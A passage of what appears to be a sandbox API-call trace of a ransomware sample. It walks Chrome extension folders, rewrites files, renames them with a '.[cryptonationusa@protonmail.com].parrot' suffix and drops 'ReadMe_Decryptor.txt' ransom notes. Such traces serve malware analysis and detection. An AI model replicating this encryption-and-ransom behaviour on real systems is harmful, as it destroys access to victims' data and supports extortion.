dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.595] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2bd5, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2bd5, lpOverlapped=0x0) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0069.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.603] GetLastError () returned 0x0 [0069.605] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d97d0 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d9918 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d97d0 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d9b00 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9918 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d9dd0 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9b00 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x68d248 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9dd0 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x68d890 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d890 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x3162050 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x698250 [0069.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0069.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31680d0 [0069.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x698250 | out: hHeap=0x5b0000) returned 1 [0069.607] WriteFile (in: hFile=0x28c, lpBuffer=0x31680e0*, nNumberOfBytesToWrite=0x2cf8, lpNumberOfBytesWritten=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x31680e0*, lpNumberOfBytesWritten=0x18dd34*=0x2cf8, lpOverlapped=0x0) returned 1 [0069.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31680d0 | out: hHeap=0x5b0000) returned 1 [0069.607] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ced, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.607] CloseHandle (hObject=0x28c) returned 1 [0069.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d97d0 [0069.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d9918 [0069.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d97d0 | out: hHeap=0x5b0000) returned 1 [0069.608] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9918 | out: hHeap=0x5b0000) returned 1 [0069.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3164090 | out: hHeap=0x5b0000) returned 1 [0069.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d97d0 [0069.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d98f8 [0069.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18db28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0069.610] GetFileType (hFile=0x28c) returned 0x1 [0069.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0069.622] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6f9e780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6f9e780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.623] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6f9e780, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb6f9e780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6f9e780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0069.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0069.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.623] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0069.623] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5275a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5275a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.623] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5229740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="128PNG~1.PAR")) returned 1 [0069.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0069.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0069.663] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.664] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5275a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5275a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.1_0", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5275a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5275a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.1_0", cAlternateFileName="")) returned 0 [0069.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689260 | out: hHeap=0x5b0000) returned 1 [0069.665] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0069.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d268 | out: hHeap=0x5b0000) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1 [0069.665] lstrcmpW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2=".") returned 1 [0069.665] lstrcmpW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="..") returned 1 [0069.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0069.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x2240f30 [0069.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0069.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0069.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b378 | out: hHeap=0x5b0000) returned 1 [0069.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0069.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69d268 [0069.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9898 [0069.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0069.666] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.666] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.666] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.666] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.666] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 1 [0069.666] lstrcmpW (lpString1="4.2.8_0", lpString2=".") returned 1 [0069.666] lstrcmpW (lpString1="4.2.8_0", lpString2="..") returned 1 [0069.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689260 [0069.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9898 | out: hHeap=0x5b0000) returned 1 [0069.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689368 [0069.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9898 [0069.666] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0069.685] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.685] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.688] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0069.750] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe66, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.750] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.750] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0069.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.751] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd4e, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xd4e, lpOverlapped=0x0) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.752] GetLastError () returned 0x0 [0069.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x69aa68 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69abb0 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aa68 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x69ad98 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69abb0 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap 